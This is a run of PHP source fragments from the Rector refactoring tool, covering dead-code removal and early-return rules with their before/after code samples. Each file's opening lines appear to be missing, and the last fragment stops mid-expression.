Property $property) : bool { $propertyName = $this->getName($property); $propertyFetches = $this->propertyFetchFinder->findLocalPropertyFetchesByName($class, $propertyName); if ($propertyFetches === []) { return \true; } return $this->propertyWriteonlyAnalyzer->arePropertyFetchesExclusivelyBeingAssignedTo($propertyFetches); } private function shouldSkipClass(Class_ $class) : bool { foreach ($class->stmts as $stmt) { // unclear what property can be used there if ($stmt instanceof TraitUse) { return \true; } } return $this->propertyWriteonlyAnalyzer->hasClassDynamicPropertyNames($class); } private function removePropertyAssigns(Class_ $class, string $propertyName) : void { $this->traverseNodesWithCallable($class, function (Node $node) use($class, $propertyName) { if (!$node instanceof Expression && !$node instanceof Return_) { return null; } if (!$node->expr instanceof Assign) { return null; } $assign = $node->expr; if (!$this->propertyFetchFinder->isLocalPropertyFetchByName($assign->var, $class, $propertyName)) { return null; } if ($node instanceof Expression) { return NodeTraverser::REMOVE_NODE; } $node->expr = $node->expr->expr; return $node; }); } } visibilityManipulator = $visibilityManipulator; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove useless @readonly annotation on native readonly type', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { /** * @readonly */ private readonly string $name; public function __construct(string $name) { $this->name = $name; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private readonly string $name; public function __construct(string $name) { $this->name = $name; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Property::class, Param::class]; } /** * @param Class_|Property|Param $node */ public function refactor(Node $node) : ?Node { // for param, only on property promotion if ($node instanceof Param && $node->flags === 0) { return null; } if (!$this->visibilityManipulator->isReadonly($node)) { return null; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $readonlyDoc = $phpDocInfo->getByName('readonly'); if (!$readonlyDoc instanceof PhpDocTagNode) { return null; } if (!$readonlyDoc->value instanceof GenericTagValueNode) { return null; } if ($readonlyDoc->value->value !== '') { return null; } $phpDocInfo->removeByName('readonly'); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::READONLY_PROPERTY; } } varTagRemover = $varTagRemover; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused @var annotation for properties', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { /** * @var string */ public string $name = 'name'; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public string $name = 'name'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Property::class]; } /** * @param Property $node */ public function refactor(Node $node) : ?Node { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $hasChanged = $this->varTagRemover->removeVarTagIfUseless($phpDocInfo, $node); if (!$hasChanged) { return null; } return $node; } } > */ public function getNodeTypes() : array { return [Property::class]; } /** * @param Property $node */ public function refactor(Node $node) : ?Node { if ($node->type instanceof Node) { return null; } $hasChanged = \false; foreach ($node->props as $prop) { $defaultValueNode = $prop->default; if (!$defaultValueNode instanceof Expr) { continue; } if (!$defaultValueNode instanceof ConstFetch) { continue; } if (strtolower((string) $defaultValueNode->name) !== 'null') { continue; } $prop->default = null; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } } sideEffectNodeDetector = $sideEffectNodeDetector; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove dead condition above return', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function go() { if (1 === 1) { return 'yes'; } return 'yes'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function go() { return 'yes'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { foreach ((array) $node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } $previousNode = $node->stmts[$key - 1] ?? null; if (!$this->isBareIf($previousNode)) { continue; } /** @var Scope $scope */ $scope = $stmt->getAttribute(AttributeKey::SCOPE); /** @var If_ $previousNode */ if ($this->sideEffectNodeDetector->detect($previousNode->cond, $scope)) { continue; } $countStmt = \count($previousNode->stmts); if ($countStmt === 0) { unset($node->stmts[$key - 1]); return $node; } if ($countStmt > 1) { return null; } $previousFirstStmt = $previousNode->stmts[0]; if (!$previousFirstStmt instanceof Return_) { return null; } if (!$this->nodeComparator->areNodesEqual($previousFirstStmt, $stmt)) { return null; } unset($node->stmts[$key - 1]); return $node; } return null; } private function isBareIf(?Stmt $stmt) : bool { if (!$stmt instanceof If_) { return \false; } if ($stmt->elseifs !== []) { return \false; } return !$stmt->else instanceof Else_; } } classMethodManipulator = $classMethodManipulator; $this->classAnalyzer = $classAnalyzer; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused parent call with no parent class', [new CodeSample(<<<'CODE_SAMPLE' class OrphanClass { public function __construct() { parent::__construct(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class OrphanClass { public function __construct() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkipClass($node)) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($classMethod->stmts === null) { continue; } foreach ($classMethod->stmts as $key => $stmt) { if (!$stmt instanceof Expression) { continue; } if ($stmt->expr instanceof StaticCall && $this->isParentStaticCall($stmt->expr)) { if ($this->doesCalledMethodExistInParent($stmt->expr, $node)) { continue; } unset($classMethod->stmts[$key]); $hasChanged = \true; } if ($stmt->expr instanceof Assign) { $assign = $stmt->expr; if ($assign->expr instanceof StaticCall && $this->isParentStaticCall($assign->expr)) { $staticCall = $assign->expr; // is valid call if ($this->doesCalledMethodExistInParent($staticCall, $node)) { continue; } $assign->expr = $this->nodeFactory->createNull(); $hasChanged = \true; } } } } if ($hasChanged) { return $node; } return null; } private function isParentStaticCall(Expr $expr) : bool { if (!$expr instanceof StaticCall) { return \false; } return $this->isName($expr->class, ObjectReference::PARENT); } private function shouldSkipClass(Class_ $class) : bool { // skip cases when parent class reflection is not found if ($class->extends instanceof FullyQualified && !$this->reflectionProvider->hasClass($class->extends->toString())) { return \true; } // currently the classMethodManipulator isn't able to find usages of anonymous classes return $this->classAnalyzer->isAnonymousClass($class); } private function doesCalledMethodExistInParent(StaticCall $staticCall, Class_ $class) : bool { if (!$class->extends instanceof Name) { return \false; } $calledMethodName = $this->getName($staticCall->name); if (!\is_string($calledMethodName)) { return \false; } return $this->classMethodManipulator->hasParentMethodOrInterfaceMethod($class, $calledMethodName); } } terminatedNodeAnalyzer = $terminatedNodeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unreachable statements', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { return 5; $removeMe = 10; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return 5; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $originalStmts = $node->stmts; $cleanedStmts = $this->processCleanUpUnreachabelStmts($node, $node->stmts); if ($cleanedStmts === $originalStmts) { return null; } $node->stmts = $cleanedStmts; return $node; } /** * @param Stmt[] $stmts * @return Stmt[] */ private function processCleanUpUnreachabelStmts(StmtsAwareInterface $stmtsAware, array $stmts) : array { foreach ($stmts as $key => $stmt) { if (!isset($stmts[$key - 1])) { continue; } $previousStmt = $stmts[$key - 1]; // unset... if ($this->terminatedNodeAnalyzer->isAlwaysTerminated($stmtsAware, $previousStmt, $stmt)) { \array_splice($stmts, $key); return $stmts; } } return $stmts; } } modifyHeader($node, 'remove'); case 'clearAllHeaders': return $this->modifyHeader($node, 'replace'); case 'clearRawHeaders': return $this->modifyHeader($node, 'replace'); case '...': return 5; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { switch ($name) { case 'clearHeader': return $this->modifyHeader($node, 'remove'); case 'clearAllHeaders': case 'clearRawHeaders': return $this->modifyHeader($node, 'replace'); case '...': return 5; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Switch_::class]; } /** * @param Switch_ $node */ public function refactor(Node $node) : ?Node { if (\count($node->cases) < 2) { return null; } $this->hasChanged = \false; $this->removeDuplicatedCases($node); if (!$this->hasChanged) { return null; } return $node; } private function removeDuplicatedCases(Switch_ $switch) : void { $totalKeys = \count($switch->cases); $conds = []; foreach (\array_keys($switch->cases) as $key) { if (isset($switch->cases[$key - 1]) && $switch->cases[$key - 1]->stmts === []) { continue; } $nextCases = []; for ($jumpToKey = $key + 1; $jumpToKey < $totalKeys; ++$jumpToKey) { if (!isset($switch->cases[$jumpToKey])) { continue; } if (!$this->areSwitchStmtsEqualsAndWithBreak($switch->cases[$key], $switch->cases[$jumpToKey])) { continue; } $nextCase = $switch->cases[$jumpToKey]; if (isset($switch->cases[$jumpToKey - 1]) && $switch->cases[$jumpToKey - 1]->stmts === []) { $nextCases[] = $switch->cases[$jumpToKey - 1]; $conds[] = $switch->cases[$jumpToKey - 1]->cond; } unset($switch->cases[$jumpToKey]); $nextCases[] = $nextCase; $this->hasChanged = \true; } if ($nextCases === []) { continue; } \array_splice($switch->cases, $key + 1, 0, $nextCases); for ($jumpToKey = $key; $jumpToKey < $key + \count($nextCases); ++$jumpToKey) { $switch->cases[$jumpToKey]->stmts = []; } $key += \count($nextCases); } foreach ($conds as $keyCond => $cond) { foreach (\array_reverse($switch->cases, \true) as $keyCase => $case) { if ($this->nodeComparator->areNodesEqual($cond, $case->cond)) { unset($switch->cases[$keyCase]); unset($conds[$keyCond]); continue 2; } } } } private function areSwitchStmtsEqualsAndWithBreak(Case_ $currentCase, Case_ $nextCase) : bool { if (!$this->nodeComparator->areNodesEqual($currentCase->stmts, $nextCase->stmts)) { return \false; } foreach ($currentCase->stmts as $stmt) { if ($stmt instanceof Break_) { return \true; } if ($stmt instanceof Return_) { return \true; } } return \false; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change ternary of bool : false to && bool', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function go() { return $value ? $this->getBool() : false; } private function getBool(): bool { return (bool) 5; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function go() { return $value && $this->getBool(); } private function getBool(): bool { return (bool) 5; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->if instanceof Expr) { return null; } if (!$this->valueResolver->isFalse($node->else)) { return null; } if ($this->valueResolver->isTrue($node->if)) { return null; } $ifType = $this->getType($node->if); if (!$ifType->isBoolean()->yes()) { return null; } return new BooleanAnd($node->cond, $node->if); } } > */ public function getNodeTypes() : array { return [TryCatch::class]; } /** * @param TryCatch $node * @return Stmt[]|null|TryCatch|int */ public function refactor(Node $node) { $isEmptyFinallyStmts = !$node->finally instanceof Finally_ || $this->isEmpty($node->finally->stmts); // not empty stmts on finally always executed if (!$isEmptyFinallyStmts) { return null; } if ($this->isEmpty($node->stmts)) { return NodeTraverser::REMOVE_NODE; } if (\count($node->catches) !== 1) { return null; } $onlyCatch = $node->catches[0]; if ($this->isEmpty($onlyCatch->stmts)) { return null; } $onlyCatchStmt = $onlyCatch->stmts[0]; if (!$onlyCatchStmt instanceof Throw_) { return null; } if (!$this->nodeComparator->areNodesEqual($onlyCatch->var, $onlyCatchStmt->expr)) { return null; } return $node->stmts; } /** * @param Stmt[] $stmts */ private function isEmpty(array $stmts) : bool { if ($stmts === []) { return \true; } if (\count($stmts) > 1) { return \false; } return $stmts[0] instanceof Nop; } } nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; } public function detect(FuncCall $funcCall, Scope $scope) : bool { $funcCallName = $this->nodeNameResolver->getName($funcCall); if ($funcCallName === null) { return \false; } $name = new Name($funcCallName); $hasFunction = $this->reflectionProvider->hasFunction($name, $scope); if (!$hasFunction) { return \false; } $functionReflection = $this->reflectionProvider->getFunction($name, $scope); if (!$functionReflection instanceof NativeFunctionReflection) { return \false; } // yes() and maybe() may have side effect return $functionReflection->hasSideEffects()->no(); } } > */ private const CALL_EXPR_SIDE_EFFECT_NODE_TYPES = [MethodCall::class, New_::class, NullsafeMethodCall::class, StaticCall::class]; public function __construct(\Rector\DeadCode\SideEffect\PureFunctionDetector $pureFunctionDetector, BetterNodeFinder $betterNodeFinder) { $this->pureFunctionDetector = $pureFunctionDetector; $this->betterNodeFinder = $betterNodeFinder; } public function detect(Expr $expr, Scope $scope) : bool { if ($expr instanceof Assign) { return \true; } return (bool) $this->betterNodeFinder->findFirst($expr, function (Node $subNode) use($scope) : bool { return $this->detectCallExpr($subNode, $scope); }); } public function detectCallExpr(Node $node, Scope $scope) : bool { if (!$node instanceof Expr) { return \false; } if ($node instanceof StaticCall && $this->isClassCallerThrowable($node)) { return \false; } if ($node instanceof New_ && $this->isPhpParser($node)) { return \false; } $exprClass = \get_class($node); if (\in_array($exprClass, self::CALL_EXPR_SIDE_EFFECT_NODE_TYPES, \true)) { return \true; } if ($node instanceof FuncCall) { return !$this->pureFunctionDetector->detect($node, $scope); } if ($node instanceof Variable || $node instanceof ArrayDimFetch) { $variable = $this->resolveVariable($node); // variables don't have side effects return !$variable instanceof Variable; } return \false; } private function isPhpParser(New_ $new) : bool { if (!$new->class instanceof FullyQualified) { return \false; } $className = $new->class->toString(); $namespace = Strings::before($className, '\\', 1); return $namespace === 'PhpParser'; } private function isClassCallerThrowable(StaticCall $staticCall) : bool { $class = $staticCall->class; if (!$class instanceof Name) { return \false; } $throwableType = new ObjectType('Throwable'); $type = new ObjectType($class->toString()); return $throwableType->isSuperTypeOf($type)->yes(); } /** * @param \PhpParser\Node\Expr\ArrayDimFetch|\PhpParser\Node\Expr\Variable $expr */ private function resolveVariable($expr) : ?Variable { while ($expr instanceof ArrayDimFetch) { $expr = $expr->var; } if (!$expr instanceof Variable) { return null; } return $expr; } } types; foreach ($types as $type) { if ($type instanceof GenericTypeNode) { return \true; } } return \false; } } types; foreach ($types as $type) { if ($type instanceof SpacingAwareArrayTypeNode) { $typeNode = $type->type; if (!$typeNode instanceof IdentifierTypeNode) { continue; } if ($typeNode->name === 'mixed') { return \true; } } } return \false; } } nodeComparator = $nodeComparator; } /** * Matches: * empty($values) */ public function isMatchingEmptyAndForeachedExpr(If_ $if, Expr $foreachExpr) : bool { if (!$if->cond instanceof Empty_) { return \false; } /** @var Empty_ $empty */ $empty = $if->cond; if (!$this->nodeComparator->areNodesEqual($empty->expr, $foreachExpr)) { return \false; } if ($if->stmts === []) { return \true; } if (\count($if->stmts) !== 1) { return \false; } $stmt = $if->stmts[0]; return $stmt instanceof Return_ && !$stmt->expr instanceof Expr; } /** * Matches: * !empty($values) */ public function isMatchingNotEmpty(If_ $if, Expr $foreachExpr, Scope $scope) : bool { $cond = $if->cond; if (!$cond instanceof BooleanNot) { return \false; } if (!$cond->expr instanceof Empty_) { return \false; } /** @var Empty_ $empty */ $empty = $cond->expr; return $this->areCondExprAndForeachExprSame($empty, $foreachExpr, $scope); } /** * Matches: * $values !== [] * $values != [] * [] !== $values * [] != $values */ public function isMatchingNotIdenticalEmptyArray(If_ $if, Expr $foreachExpr) : bool { if (!$if->cond instanceof NotIdentical && !$if->cond instanceof NotEqual) { return \false; } /** @var NotIdentical|NotEqual $notIdentical */ $notIdentical = $if->cond; return $this->isMatchingNotBinaryOp($notIdentical, $foreachExpr); } /** * @param \PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\NotEqual $binaryOp */ private function isMatchingNotBinaryOp($binaryOp, Expr $foreachExpr) : bool { if ($this->isEmptyArrayAndForeachedVariable($binaryOp->left, $binaryOp->right, $foreachExpr)) { return \true; } return $this->isEmptyArrayAndForeachedVariable($binaryOp->right, $binaryOp->left, $foreachExpr); } private function isEmptyArrayAndForeachedVariable(Expr $leftExpr, Expr $rightExpr, Expr $foreachExpr) : bool { if (!$this->isEmptyArray($leftExpr)) { return \false; } return $this->nodeComparator->areNodesEqual($foreachExpr, $rightExpr); } private function isEmptyArray(Expr $expr) : bool { if (!$expr instanceof Array_) { return \false; } return $expr->items === []; } private function areCondExprAndForeachExprSame(Empty_ $empty, Expr $foreachExpr, Scope $scope) : bool { if (!$this->nodeComparator->areNodesEqual($empty->expr, $foreachExpr)) { return \false; } // is array though? $arrayType = $scope->getType($empty->expr); return $arrayType->isArray()->yes(); } } versionCompareCondition = $versionCompareCondition; $this->binaryClass = $binaryClass; $this->expectedValue = $expectedValue; } public function getVersionCompareCondition() : \Rector\DeadCode\ValueObject\VersionCompareCondition { return $this->versionCompareCondition; } public function getBinaryClass() : string { return $this->binaryClass; } /** * @return mixed */ public function getExpectedValue() { return $this->expectedValue; } } firstVersion = $firstVersion; $this->secondVersion = $secondVersion; $this->compareSign = $compareSign; } public function getFirstVersion() : int { return $this->firstVersion; } public function getSecondVersion() : int { return $this->secondVersion; } public function getCompareSign() : ?string { return $this->compareSign; } } binaryOpManipulator = $binaryOpManipulator; } public function createInvertedCondition(Expr $expr) : Expr { // inverse condition if ($expr instanceof BinaryOp) { $binaryOp = $this->binaryOpManipulator->invertCondition($expr); if (!$binaryOp instanceof BinaryOp) { return new BooleanNot($expr); } if ($binaryOp instanceof BooleanAnd) { return new BooleanNot($expr); } return $binaryOp; } if ($expr instanceof BooleanNot) { return $expr->expr; } return new BooleanNot($expr); } } conditionInverter = $conditionInverter; $this->ifManipulator = $ifManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change nested ifs to foreach with continue', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $items = []; foreach ($values as $value) { if ($value === 5) { if ($value2 === 10) { $items[] = 'maybe'; } } } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $items = []; foreach ($values as $value) { if ($value !== 5) { continue; } if ($value2 !== 10) { continue; } $items[] = 'maybe'; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Foreach_::class]; } /** * @param Foreach_ $node */ public function refactor(Node $node) : ?Node { $nestedIfsWithOnlyNonReturn = $this->ifManipulator->collectNestedIfsWithNonBreaking($node); if (\count($nestedIfsWithOnlyNonReturn) < 2) { return null; } return $this->processNestedIfsWithNonBreaking($node, $nestedIfsWithOnlyNonReturn); } /** * @param If_[] $nestedIfsWithOnlyReturn */ private function processNestedIfsWithNonBreaking(Foreach_ $foreach, array $nestedIfsWithOnlyReturn) : Foreach_ { // add nested if openly after this $nestedIfsWithOnlyReturnCount = \count($nestedIfsWithOnlyReturn); // clear $foreach->stmts = []; foreach ($nestedIfsWithOnlyReturn as $key => $nestedIfWithOnlyReturn) { // last item → the return node if ($nestedIfsWithOnlyReturnCount === $key + 1) { $finalReturn = clone $nestedIfWithOnlyReturn; $this->addInvertedIfStmtWithContinue($nestedIfWithOnlyReturn, $foreach); // should skip for weak inversion if ($this->isBooleanOrWithWeakComparison($nestedIfWithOnlyReturn->cond)) { continue; } $foreach->stmts = \array_merge($foreach->stmts, $finalReturn->stmts); } else { $this->addInvertedIfStmtWithContinue($nestedIfWithOnlyReturn, $foreach); } } return $foreach; } private function addInvertedIfStmtWithContinue(If_ $onlyReturnIf, Foreach_ $foreach) : void { $invertedCondExpr = $this->conditionInverter->createInvertedCondition($onlyReturnIf->cond); // special case if ($invertedCondExpr instanceof BooleanNot && $invertedCondExpr->expr instanceof BooleanAnd) { $leftExpr = $this->negateOrDeNegate($invertedCondExpr->expr->left); $foreach->stmts[] = $this->createIfContinue($leftExpr); $rightExpr = $this->negateOrDeNegate($invertedCondExpr->expr->right); $foreach->stmts[] = $this->createIfContinue($rightExpr); return; } // should skip for weak inversion if ($this->isBooleanOrWithWeakComparison($onlyReturnIf->cond)) { $foreach->stmts[] = $onlyReturnIf; return; } $onlyReturnIf->setAttribute(AttributeKey::ORIGINAL_NODE, null); $onlyReturnIf->cond = $invertedCondExpr; $onlyReturnIf->stmts = [new Continue_()]; $foreach->stmts[] = $onlyReturnIf; } /** * Matches: * $a == 1 || $b == 1 * * Skips: * $a === 1 || $b === 2 */ private function isBooleanOrWithWeakComparison(Expr $expr) : bool { if (!$expr instanceof BooleanOr) { return \false; } if ($expr->left instanceof Equal) { return \true; } if ($expr->left instanceof NotEqual) { return \true; } if ($expr->right instanceof Equal) { return \true; } return $expr->right instanceof NotEqual; } private function negateOrDeNegate(Expr $expr) : Expr { if ($expr instanceof BooleanNot) { return $expr->expr; } return new BooleanNot($expr); } private function createIfContinue(Expr $expr) : If_ { return new If_($expr, ['stmts' => [new Continue_()]]); } } ifManipulator = $ifManipulator; $this->stmtsManipulator = $stmtsManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change if/else value to early return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if ($this->hasDocBlock($tokens, $index)) { $docToken = $tokens[$this->getDocBlockIndex($tokens, $index)]; } else { $docToken = null; } return $docToken; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if ($this->hasDocBlock($tokens, $index)) { return $tokens[$this->getDocBlockIndex($tokens, $index)]; } return null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof Expr) { continue; } $previousStmt = $node->stmts[$key - 1] ?? null; if (!$previousStmt instanceof If_) { continue; } $if = $previousStmt; if (!$this->ifManipulator->isIfAndElseWithSameVariableAssignAsLastStmts($if, $stmt->expr)) { continue; } \end($if->stmts); $lastIfStmtKey = \key($if->stmts); \reset($if->stmts); /** @var Assign $assign */ $assign = $this->stmtsManipulator->getUnwrappedLastStmt($if->stmts); $returnLastIf = new Return_($assign->expr); $this->mirrorComments($returnLastIf, $assign); $if->stmts[$lastIfStmtKey] = $returnLastIf; /** @var Else_ $else */ $else = $if->else; /** @var array $elseStmts */ $elseStmts = $else->stmts; /** @var Assign $assign */ $assign = $this->stmtsManipulator->getUnwrappedLastStmt($elseStmts); $this->mirrorComments($stmt, $assign); $if->else = null; $stmt->expr = $assign->expr; $lastStmt = \array_pop($node->stmts); $elseStmtsExceptLast = \array_slice($elseStmts, 0, -1); $node->stmts = \array_merge($node->stmts, $elseStmtsExceptLast, [$lastStmt]); return $node; } return null; } } conditionInverter = $conditionInverter; $this->ifManipulator = $ifManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change nested ifs to early return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if ($value === 5) { if ($value2 === 10) { return 'yes'; } } return 'no'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if ($value !== 5) { return 'no'; } if ($value2 === 10) { return 'yes'; } return 'no'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof If_) { continue; } $nextStmt = $node->stmts[$key + 1] ?? null; if (!$nextStmt instanceof Return_) { return null; } $nestedIfsWithOnlyReturn = $this->ifManipulator->collectNestedIfsWithOnlyReturn($stmt); if ($nestedIfsWithOnlyReturn === []) { continue; } $newStmts = $this->processNestedIfsWithOnlyReturn($nestedIfsWithOnlyReturn, $nextStmt); // replace nested ifs with many separate ifs \array_splice($node->stmts, $key, 1, $newStmts); return $node; } return null; } /** * @param If_[] $nestedIfsWithOnlyReturn * @return If_[] */ private function processNestedIfsWithOnlyReturn(array $nestedIfsWithOnlyReturn, Return_ $nextReturn) : array { // add nested if openly after this $nestedIfsWithOnlyReturnCount = \count($nestedIfsWithOnlyReturn); $newStmts = []; /** @var int $key */ foreach ($nestedIfsWithOnlyReturn as $key => $nestedIfWithOnlyReturn) { // last item → the return node if ($nestedIfsWithOnlyReturnCount === $key + 1) { $newStmts[] = $nestedIfWithOnlyReturn; } else { $standaloneIfs = $this->createStandaloneIfsWithReturn($nestedIfWithOnlyReturn, $nextReturn); $newStmts = \array_merge($newStmts, $standaloneIfs); } } // $newStmts[] = $nextReturn; return $newStmts; } /** * @return If_[] */ private function createStandaloneIfsWithReturn(If_ $onlyReturnIf, Return_ $return) : array { $invertedCondExpr = $this->conditionInverter->createInvertedCondition($onlyReturnIf->cond); // special case if ($invertedCondExpr instanceof BooleanNot && $invertedCondExpr->expr instanceof BooleanAnd) { $booleanNotPartIf = new If_(new BooleanNot($invertedCondExpr->expr->left)); $booleanNotPartIf->stmts = [clone $return]; $secondBooleanNotPartIf = new If_(new BooleanNot($invertedCondExpr->expr->right)); $secondBooleanNotPartIf->stmts = [clone $return]; return [$booleanNotPartIf, $secondBooleanNotPartIf]; } $onlyReturnIf->cond = $invertedCondExpr; $onlyReturnIf->stmts = [$return]; return [$onlyReturnIf]; } } ifManipulator = $ifManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes if || to early return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function canDrive(Car $newCar) { foreach ($cars as $car) { if ($car->hasWheels() || $car->hasFuel()) { continue; } $car->setWheel($newCar->wheel); $car->setFuel($newCar->fuel); } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function canDrive(Car $newCar) { foreach ($cars as $car) { if ($car->hasWheels()) { continue; } if ($car->hasFuel()) { continue; } $car->setWheel($newCar->wheel); $car->setFuel($newCar->fuel); } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return null|If_[] */ public function refactor(Node $node) : ?array { if (!$this->ifManipulator->isIfWithOnly($node, Continue_::class)) { return null; } if (!$node->cond instanceof BooleanOr) { return null; } return $this->processMultiIfContinue($node); } /** * @return null|If_[] */ private function processMultiIfContinue(If_ $if) : ?array { $node = clone $if; /** @var Continue_ $continue */ $continue = $if->stmts[0]; $ifs = $this->createMultipleIfs($if->cond, $continue, []); // ensure ifs not removed by other rules if ($ifs === []) { return null; } $this->mirrorComments($ifs[0], $node); return $ifs; } /** * @param If_[] $ifs * @return If_[] */ private function createMultipleIfs(Expr $expr, Continue_ $continue, array $ifs) : array { while ($expr instanceof BooleanOr) { $ifs = \array_merge($ifs, $this->collectLeftBooleanOrToIfs($expr, $continue, $ifs)); $ifs[] = new If_($expr->right, ['stmts' => [$continue]]); $expr = $expr->right; } $lastContinueIf = new If_($expr, ['stmts' => [$continue]]); // the + is on purpose here, to keep only single continue as last return $ifs + [$lastContinueIf]; } /** * @param If_[] $ifs * @return If_[] */ private function collectLeftBooleanOrToIfs(BooleanOr $booleanOr, Continue_ $continue, array $ifs) : array { $left = $booleanOr->left; if (!$left instanceof BooleanOr) { $if = new If_($left, ['stmts' => [$continue]]); return [$if]; } return $this->createMultipleIfs($left, $continue, $ifs); } } > */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return Node[]|null */ public function refactor(Node $node) : ?array { if ($this->doesLastStatementBreakFlow($node)) { return null; } if ($node->elseifs !== []) { return $this->handleElseIfs($node); } if ($node->else instanceof Else_) { $stmts = $node->else->stmts; $node->else = null; return \array_merge([$node], $stmts); } return null; } /** * @return Node[] */ private function handleElseIfs(If_ $if) : array { $nodesToReturn = []; $originalIf = clone $if; $firstIf = $this->createIfFromNode($if); $nodesToReturn[] = $firstIf; while ($if->elseifs !== []) { /** @var ElseIf_ $currentElseIf */ $currentElseIf = \array_shift($if->elseifs); // If the last statement in the `elseif` breaks flow, merge it into the original `if` and stop processing if ($this->doesLastStatementBreakFlow($currentElseIf)) { $this->updateIfWithElseIf($if, $currentElseIf); $nodesToReturn = \array_merge(\is_array($nodesToReturn) ? $nodesToReturn : \iterator_to_array($nodesToReturn), [$if], $this->getStatementsElseIfs($if)); break; } $isLastElseIf = $if->elseifs === []; // If it's the last `elseif`, merge it with the original `if` to keep the formatting if ($isLastElseIf) { $this->updateIfWithElseIf($if, $currentElseIf); $nodesToReturn[] = $if; break; } // Otherwise, create a separate `if` node for `elseif` $nodesToReturn[] = $this->createIfFromNode($currentElseIf); } if ($originalIf->else instanceof Else_) { $nodesToReturn[] = $originalIf->else; } return $nodesToReturn; } /** * @return ElseIf_[] */ private function getStatementsElseIfs(If_ $if) : array { $statements = []; foreach ($if->elseifs as $key => $elseif) { if ($this->doesLastStatementBreakFlow($elseif) && $elseif->stmts !== []) { continue; } $statements[] = $elseif; unset($if->elseifs[$key]); } return $statements; } /** * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_|\PhpParser\Node\Stmt\Else_ $node */ private function doesLastStatementBreakFlow($node) : bool { $lastStmt = \end($node->stmts); if ($lastStmt instanceof If_ && $lastStmt->else instanceof Else_) { if ($this->doesLastStatementBreakFlow($lastStmt) || $this->doesLastStatementBreakFlow($lastStmt->else)) { return \true; } foreach ($lastStmt->elseifs as $elseIf) { if ($this->doesLastStatementBreakFlow($elseIf)) { return \true; } } return \false; } return !($lastStmt instanceof Return_ || $lastStmt instanceof 